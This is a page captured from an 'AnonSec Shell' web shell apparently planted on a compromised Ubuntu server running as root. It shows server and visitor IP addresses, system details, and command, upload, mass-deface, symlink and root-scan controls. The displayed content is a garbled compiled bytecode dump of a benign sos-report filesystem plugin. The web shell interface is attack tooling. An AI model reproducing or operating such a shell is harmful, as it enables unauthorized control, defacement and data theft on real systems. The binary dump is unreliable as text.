AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/sos/report/plugins/__pycache__/filesys.cpython-310.pyc
o

���bA
�@sLddlmZmZmZmZmZmZGdd�deeee�ZGdd�dee�ZdS)�)�Plugin�RedHatPlugin�DebianPlugin�UbuntuPlugin�	CosPlugin�	PluginOptc@sTeZdZdZdZdZdZedddd�ed	dd
d�edddd�gZd
d�Z	dd�Z
dS)�Filesysa�Collects general information about the local filesystem(s) and mount
    points as well as optional information about EXT filesystems. Note that
    information specific filesystems such as XFS or ZFS is not collected by
    this plugin, as there are specific plugins for those filesystem types.

    This plugin will collect /etc/fstab as well as mount information within
    /proc/, and is responsible for the 'mount' and 'df' symlinks that appear
    in an sos archive's root.
    zLocal file systems�filesys)�storage�lsofFz%collect information on all open files)�default�desc�dumpe2fszdump filesystem info�fragz'collect filesystem fragmentation statuscCs�|�gd��|jddd�|jdddd�|�gd	��|�d
�|�d�r/|jddd
d�d}|�d�r8d}d}d}|�||�D]}|�d||f�|�d�r[|jd|dd�qBdS)N)	z	/proc/fs/�/proc/mountsz/proc/filesystemsz/proc/self/mountsz/proc/self/mountinfoz/proc/self/mountstatsz/proc/[0-9]*/mountinfoz	/etc/mtab�
/etc/fstabzmount -l�mount)�root_symlinkzdf -al -x autofs�df�insights_df__al)r�tags)zdf -ali -x autofs�findmnt�lslocksz/proc/fs/panfsrzlsof -b +M -n -l -P�2)r�priorityz-hr�rz^(/dev/\S+).+ext[234]\s+zdumpe2fs %s %srz
e2freefrag %s�d)r)�
add_copy_spec�add_cmd_output�add_forbidden_path�
get_option�do_regex_find_all)�self�
dumpe2fs_opts�mounts�ext_fs_regex�dev�r'�</usr/lib/python3/dist-packages/sos/report/plugins/filesys.py�setup%s,�

�

��z
Filesys.setupcCs$|�ddd�d}|�d|d�dS)Nrz(password=)[^,\s]*z
\1********z](lsof: (avoiding (.*?)|WARNING: can't stat\(\) (.*?))|Output information may be incomplete.)
rr)�do_file_sub�do_cmd_output_sub)r"�regexr'r'r(�postprocKs�zFilesys.postprocN)�__name__�
__module__�__qualname__�__doc__�
short_desc�plugin_name�profilesr�option_listr)r-r'r'r'r(r
s
���&rcseZdZ�fdd�Z�ZS)�
RedHatFilesyscstt|���|�d�dS)Nzls -ltradZ /tmp)�superr6r)r)r"��	__class__r'r(r)\szRedHatFilesys.setup)r.r/r0r)�
__classcell__r'r'r8r(r6Zsr6N)	�sos.report.pluginsrrrrrrrr6r'r'r'r(�<module>s M

Anon7 - 2022
AnonSec Team